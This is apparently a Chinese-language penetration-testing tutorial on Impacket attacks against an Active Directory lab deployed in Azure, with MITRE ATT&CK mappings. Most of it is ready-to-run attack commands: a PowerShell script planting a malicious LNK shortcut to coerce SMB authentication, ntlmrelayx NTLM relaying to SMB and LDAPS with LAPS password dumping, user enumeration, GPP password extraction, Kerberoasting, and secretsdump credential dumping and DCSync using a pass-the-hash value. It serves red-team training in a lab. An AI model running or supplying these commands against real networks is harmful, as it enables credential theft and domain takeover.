Impacket攻击基础与Azure实验室搭建
概述
本文是对Impacket工具集作者SecureAuthCorp及开源维护者的致敬,将介绍该工具包的核心技术应用。项目地址:https://github.com/SecureAuthCorp/impacket
实验室搭建
使用ARM模板部署(doazlab.com或github.com/DefensiveOrigins/DO-LAB):
- 认证可创建资源的Azure订阅
- 部署包含域控制器、加入的工作站和Ubuntu系统的实验环境
ntlmrelayx.py攻击实战
恶意LNK文件攻击(MITRE ATT&CK T1204)
通过PowerShell创建诱导性快捷文件:
1
2
3
4
5
6
7
8
9
10
11
|
cd c:\
mkdir c:\file6
New-SmbShare -Name "file6" -Path "C:\file6" -ChangeAccess "Users" -FullAccess "Administrators"
$objShell = New-Object -ComObject WScript.Shell
$lnk = $objShell.CreateShortcut("c:\file6\malicious.lnk")
$lnk.TargetPath = "\\10.0.0.8\@threat.png"
$lnk.WindowStyle = 1
$lnk.IconLocation = "%windir%\system32\shell32.dll, 3"
$lnk.Description = "用户浏览含此LNK文件的共享时将触发SMB认证"
$lnk.HotKey = "Ctrl+Alt+O"
$lnk.Save()
|
中间人攻击(MITRE ATT&CK T1557)
启动ntlmrelayx监听器:
1
2
3
4
5
|
sudo -s
cd /opt/impacket
source imp-env/bin/activate
cd examples
ntlmrelayx.py -t 192.168.2.5 -smb2support | tee –a /opt/impacket/relay1.log
|
当受害者访问含恶意LNK的共享时,凭证将被中继到目标系统。
LDAP服务攻击
针对域控制器的安全LDAP服务(TCP/636):
1
|
ntlmrelayx.py -t ldaps://dc01.doazlab.com -ts -l /opt/impacket/loot --add-computer BHISBlog47 --dump-laps --no-dump --no-da
|
参数说明:
-t
: 指定目标LDAP服务
-ts
: 控制台输出添加时间戳
-l
: 定义战利品目录
--add-computer
: 添加域计算机
--dump-laps
: 提取LAPS密码
--no-dump
: 不转储AD数据
--no-da
: 不创建域管理员
其他Impacket工具
GetADUsers.py(MITRE ATT&CK T1087)
枚举域用户:
1
|
python3.9 GetADUsers.py -all -ts doazlab.com/doadmin:'DOLabAdmin1!' -dc-ip 192.168.2.4 |tee -a /opt/adusers.txt
|
Get-GPPPassword.py(MITRE ATT&CK T1552.006)
提取组策略首选项密码:
1
|
python3.9 Get-GPPPassword.py 'doazlab.com'/'doadmin':'DOLabAdmin1!'@'192.168.2.4'
|
GetUserSPNs.py(MITRE ATT&CK T1558.003)
收集Kerberos票据哈希:
1
|
python3.9 GetUserSPNs.py 'doazlab.com'/'doadmin':'DOLabAdmin1!' -dc-ip 192.168.2.4 -outputfile /opt/hashes/kerbs.txt
|
Secretsdump.py
远程凭证转储(MITRE ATT&CK T1003.003):
1
|
python3.9 secretsdump.py doazlab/doadmin:'DOLabAdmin1!'@192.168.2.5 |tee -a /opt/hashes/secrets-output.txt
|
DCSync攻击(MITRE ATT&CK T1003.006):
1
|
python3.9 secretsdump.py -outputfile 'doazlab.dit' 'doazlab.com'/doadmin@'192.168.2.4' -hashes aad3c435b514a4eeaad3b935b51304fe:3606a042149187931ced1f8cedafe26c
|